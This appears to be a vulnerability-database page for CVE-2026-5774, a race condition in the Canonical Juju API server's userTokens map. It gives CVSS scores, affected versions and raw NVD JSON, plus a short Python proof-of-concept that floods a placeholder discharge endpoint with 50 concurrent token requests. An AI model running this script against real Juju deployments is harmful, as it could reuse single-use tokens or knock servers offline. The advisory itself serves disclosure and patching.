Security Vulnerability Report
中文
CVE-2026-5774 CVSS 6.4 MEDIUM

CVE-2026-5774

Published: 2026-04-10 13:16:46
Last Modified: 2026-04-22 20:46:45

Description

Improper synchronization of the userTokens map in the API server in Canonical Juju 4.0.5, 3.6.20, and 2.9.56 may allow an authenticated user to possibly cause a denial of service on the server or possibly reuse a single-use discharge token.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:* - VULNERABLE
Canonical Juju 4.0.5
Canonical Juju 3.6.20
Canonical Juju 2.9.56

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Target URL (Replace with actual Juju API endpoint) TARGET_URL = "https://<juju-api-endpoint>/discharge" # Valid authentication token obtained by low-privilege user AUTH_TOKEN = "<valid-single-use-token>" def send_request(): headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } try: # Attempt to reuse the token concurrently response = requests.post(TARGET_URL, headers=headers, timeout=5) print(f"Status: {response.status_code}, Response: {response.text}") except Exception as e: print(f"Error: {e}") # Create multiple threads to simulate race condition on the userTokens map threads = [] for i in range(50): t = threading.Thread(target=send_request) threads.append(t) t.start() for t in threads: t.join() print("PoC execution completed. Check server status for DoS or token reuse success.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5774", "sourceIdentifier": "[email protected]", "published": "2026-04-10T13:16:46.070", "lastModified": "2026-04-22T20:46:45.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper synchronization of the userTokens map in the API server in Canonical Juju 4.0.5, 3.6.20, and 2.9.56 may allow an authenticated user to possibly cause a denial of service on the server or possibly reuse a single-use discharge token."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.9.57", "matchCriteriaId": "A2161D9F-0627-4EAF-A6FD-81B9056D31FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndExcluding": "3.6.21", "matchCriteriaId": "2A328E22-F73A-45B4-907D-955B91B5E730"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "4.0.6", "matchCriteriaId": "7929B9F0-C9DA-4239-8264-EDC53068CEDF"}]}]}], "references": [{"url": "https://github.com/juju/juju/pull/22205", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/juju/juju/pull/22206", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/juju/juju/security/advisories/GHSA-7m55-2hr4-pw78", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/juju/juju/security/advisories/GHSA-7m55-2hr4-pw78", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}